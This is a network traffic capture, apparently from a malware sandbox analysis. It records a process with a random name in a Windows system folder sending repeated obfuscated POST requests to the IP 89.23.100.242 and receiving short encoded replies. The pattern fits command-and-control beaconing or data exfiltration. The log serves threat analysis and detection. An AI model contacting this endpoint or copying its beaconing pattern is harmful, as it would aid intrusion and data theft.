Jan 10, 2025 07:58:14.732002020 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:15.079663038 CET	2036	OUT	Data Raw: 59 55 43 55 5e 5d 56 56 58 5b 57 56 50 5c 5b 56 55 51 5e 52 54 5c 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUCU^]VVX[WVP\[VUQ^RT\Q]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/0+<P?/2<X+;8]"'$(,><A&>$Y''_!/Y.
Jan 10, 2025 07:58:15.476474047 CET	374	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 31 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 39 38 0d 0a 0f 1e 39 57 23 38 3f 0f 26 2f 07 11 3a 59 3e 0b 3f 33 3c 12 2a 03 37 5a 29 30 3b 56 2d 01 3b 54 20 28 31 5c 2b 21 22 14 27 2c 24 52 25 1d 21 59 0c 13 25 01 3f 2a 0f 56 29 14 0a 5b 29 22 3d 1c 27 20 2b 1d 24 13 0f 18 23 06 2c 5b 3f 39 21 51 3c 08 32 0f 2c 39 3c 16 29 3c 30 1f 30 1c 2a 57 0c 1f 25 0a 23 21 39 57 21 1c 0b 03 30 2b 23 1e 30 06 24 56 26 11 20 01 20 3a 3c 03 2e 5f 3b 00 35 00 23 01 2a 10 2d 0b 22 1c 2c 52 28 2c 20 51 22 0d 22 50 [TRUNCATED] Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding989W#8?&/:Y>?3<7Z)0;V-;T (1\+!"',$R%!Y%?V)[)"=' +$#,[?9!Q<2,9<)<00W%#!9W!0+#0$V& :<._;5#-",R(, Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49886	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:14.849236965 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:15.204655886 CET	2544	OUT	Data Raw: 59 5f 46 57 5e 57 56 5f 58 5b 57 56 50 5e 5b 57 55 57 5e 5e 54 5a 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_FW^WV_X[WVP^[WUW^^TZQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D,W;+-1^(,=+=8+;;64;W( <<"& 0'_!/Y.=
Jan 10, 2025 07:58:15.611236095 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 31 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49893	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:15.738004923 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:16.095899105 CET	2544	OUT	Data Raw: 59 53 43 5e 5e 5a 53 52 58 5b 57 56 50 5a 5b 54 55 50 5e 5f 54 5d 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSC^^ZSRX[WVPZ[TUP^_T]QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'A/1#X+=1^?6Z,9R?[$Y?8 "7$(?[+?)1=&:'_!/Y.-
Jan 10, 2025 07:58:16.493371964 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:16.628550053 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49900	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:16.754162073 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue
Jan 10, 2025 07:58:17.111007929 CET	2536	OUT	Data Raw: 5c 52 43 57 5e 59 56 5e 58 5b 57 56 50 5b 5b 50 55 51 5e 5d 54 5c 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RCW^YV^X[WVP[[PUQ^]T\QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;!'[?>:?;,:%T?7<+(6'U<7Y+/!&?':'_!/Y.%
Jan 10, 2025 07:58:17.499454021 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:17.634829998 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49908	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:17.940373898 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:18.298494101 CET	2544	OUT	Data Raw: 59 52 43 54 5e 57 53 52 58 5b 57 56 50 52 5b 52 55 5d 5e 52 54 59 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YRCT^WSRX[WVPR[RU]^RTYQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'83(9^+57,"<((;(X5P?'=)2+&*'_!/Y.
Jan 10, 2025 07:58:18.682701111 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:18.816788912 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49915	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:18.940762997 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:19.298449039 CET	2544	OUT	Data Raw: 59 54 43 55 5e 5a 56 50 58 5b 57 56 50 53 5b 57 55 55 5e 59 54 5d 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTCU^ZVPX[WVPS[WUU^YT]QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D,;?>9<&[,:&?+8$67(0)?2[7':'_!/Y.
Jan 10, 2025 07:58:19.712601900 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:19.842578888 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49925	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:20.254432917 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:20.610934019 CET	2544	OUT	Data Raw: 59 55 43 57 5b 59 53 57 58 5b 57 56 50 5e 5b 5a 55 52 5e 5d 54 50 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUCW[YSWX[WVP^[ZUR^]TPQSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/2'+.=^(5'8?.')8!4+U >&3'_!/Y.=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49926	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:20.510812998 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:20.861207008 CET	2036	OUT	Data Raw: 59 51 43 57 5b 5b 56 56 58 5b 57 56 50 5d 5b 51 55 55 5e 5b 54 5a 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQCW[[VVX[WVP][QUU^[TZQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C8'?=%(/)%(>(]?86'?+##^)?&.7$'_!/Y.1
Jan 10, 2025 07:58:21.384130001 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:21.438735962 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 54 34 3b 28 56 25 2c 35 57 3a 06 3e 0a 2b 20 3f 06 2a 03 20 03 3e 20 3f 57 3a 01 2f 1e 35 28 2e 04 2b 1c 3d 0a 26 3c 30 1e 27 37 21 59 0c 13 26 13 3f 04 04 0e 3d 3a 02 13 28 0f 0b 19 30 1d 37 1d 30 3d 3d 16 20 01 30 5a 3f 2a 29 51 2a 31 0c 0c 2d 07 2c 17 28 3c 0e 55 30 36 2a 57 0c 1f 26 52 22 21 39 13 21 21 36 58 27 16 27 10 33 01 3c 57 24 2f 20 05 23 04 27 58 2c 29 05 03 22 2d 2b 02 3e 3d 2d 0e 22 0b 37 09 2b 2c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989T4;(V%,5W:>+ ?* > ?W:/5(.+=&<0'7!Y&?=:(070== 0Z?)Q1-,(<U06*W&R"!9!!6X''3<W$/ #'X,)"-+>=-"7+, Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49930	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:20.786803007 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:21.142388105 CET	2544	OUT	Data Raw: 5c 51 43 54 5e 5d 56 52 58 5b 57 56 50 58 5b 5b 55 52 5e 5f 54 5a 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \QCT^]VRX[WVPX[[UR^_TZQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';/Y?>%[?Z/:*($<4"4;U<=@%8Y3:'_!/Y.%
Jan 10, 2025 07:58:21.607119083 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:21.759690046 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49938	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:21.888396978 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:22.235941887 CET	2544	OUT	Data Raw: 59 56 43 5f 5e 5d 56 52 58 5b 57 56 50 5f 5b 54 55 55 5e 5b 54 50 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVC_^]VRX[WVP_[TUU^[TPQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$8 <==<%(,\=R+-()+ \"7'W(X=<!2[8\&*'_!/Y.9
Jan 10, 2025 07:58:22.624304056 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:22.756917953 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49944	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:23.446549892 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:23.798440933 CET	2544	OUT	Data Raw: 5c 53 43 5e 5b 5b 56 57 58 5b 57 56 50 53 5b 5a 55 51 5e 5d 54 5e 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SC^[[VWX[WVPS[ZUQ^]T^Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C,1/]?=%>6$Z-)!<- \);$#4U<34*Y>$>4X0:'_!/Y.
Jan 10, 2025 07:58:24.203321934 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:24.340606928 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49955	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:24.474577904 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:24.829755068 CET	2536	OUT	Data Raw: 59 55 46 55 5b 5e 56 53 58 5b 57 56 50 5b 5b 5a 55 5d 5e 5f 54 51 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUFU[^VSX[WVP[[ZU]^_TQQ\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;]>=1?6/.(,^<8+!4,<U7)<=2<$'_!/Y.
